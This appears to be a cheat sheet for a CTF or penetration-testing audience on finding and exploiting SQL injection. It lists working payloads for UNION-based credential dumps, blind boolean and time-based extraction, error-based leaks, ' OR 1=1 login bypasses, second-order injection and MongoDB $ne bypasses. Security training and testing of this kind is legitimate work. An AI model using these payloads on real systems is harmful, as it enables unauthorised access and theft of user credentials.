SQL Injection
Detection through exploitation — boolean, time, union, error, and blind extraction, plus login bypass, NoSQL, and a CTF methodology flow. The payloads that actually matter, nothing that doesn't.
A field reference for finding and exploiting SQL injection. Work top to bottom: confirm the bug, identify its class, map the query structure, then extract.
§Detection — is it injectable?
Basic probes
Break the query syntax and watch for an error or a changed response:
'
"
)
`Error-based signs
- SQL error messages echoed to the page
- Unexpected server crash / 500
- Page layout changes when input is malformed
Boolean testing
The single most reliable tell — compare a true condition against a false one:
?id=1 AND 1=1 -- normal response
?id=1 AND 1=2 -- different responseIf the two responses differ, injection exists.
Time-based test
When nothing is reflected, make the database stall:
?id=1 AND SLEEP(5)A ~5-second delay confirms it.
§Exploitation types
A. UNION-based (data dump)
Step 1 — find the column count:
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- -- errors when n exceeds the real column count
-- or:
' UNION SELECT NULL,NULL--Step 2 — extract:
' UNION SELECT username, password FROM users--Goal: dump users, hashes, emails.
B. Blind boolean (no output)
Pull data out one character at a time, asking yes/no questions:
?id=1 AND SUBSTRING(password,1,1)='a'True → guess correct. False → try the next character.
C. Time-based blind
Same idea, but the answer is encoded as a delay:
?id=1 AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)Delay → correct guess. No delay → wrong.
D. Error-based
Force the database to leak data inside its own error message:
' AND EXTRACTVALUE(1, CONCAT(0x7e,(SELECT password FROM users LIMIT 1)))--The error text reveals the value.
E. Login bypass (classic)
' OR '1'='1'--
admin'--F. Second-order
Store a payload now; let a later query execute it:
-- 1. inject and store the payload:
admin'--
-- 2. a later query interpolates it:
UPDATE users SET role='admin' WHERE username='admin'--Executes later, not at injection time.
G. NoSQL injection (MongoDB)
// bypass login — password is "not equal to empty"
{ "username": "admin", "password": { "$ne": "" } }
// match any user
{ "username": { "$gt": "" }, "password": { "$gt": "" } }§Quick methodology (CTF flow)
- Confirm injection —
', thenAND 1=1/AND 1=2. - Identify the type — error visible → error-based; different responses → boolean blind; delay → time-based; results rendered → union-based.
- Find the structure —
ORDER BY n, thenUNION SELECT NULL,NULL,NULL. - Extract metadata —
database(),user(),information_schema.tables. - Dump — walk
information_schema.tablestheninformation_schema.columns.
§Common payloads
Login bypass
' OR 1=1--
" OR "1"="1
admin'--Union extract
UNION SELECT NULL--
UNION SELECT username,password FROM users--Time-based (per engine)
SLEEP(5) -- MySQL
pg_sleep(5) -- PostgreSQL
WAITFOR DELAY '0:0:5' -- MSSQLBoolean extraction
SUBSTRING(password,1,1)='a'§Key pattern to remember
SQLi is turning data into code execution inside the SQL engine. Everything above is a way to smuggle logic across that boundary.
Ultra-short memory version:
' test injection
AND 1=1 / 1=2 boolean check
ORDER BY column count
UNION SELECT data dump
SUBSTRING() blind extraction
SLEEP() time-based blind
OR 1=1 login bypass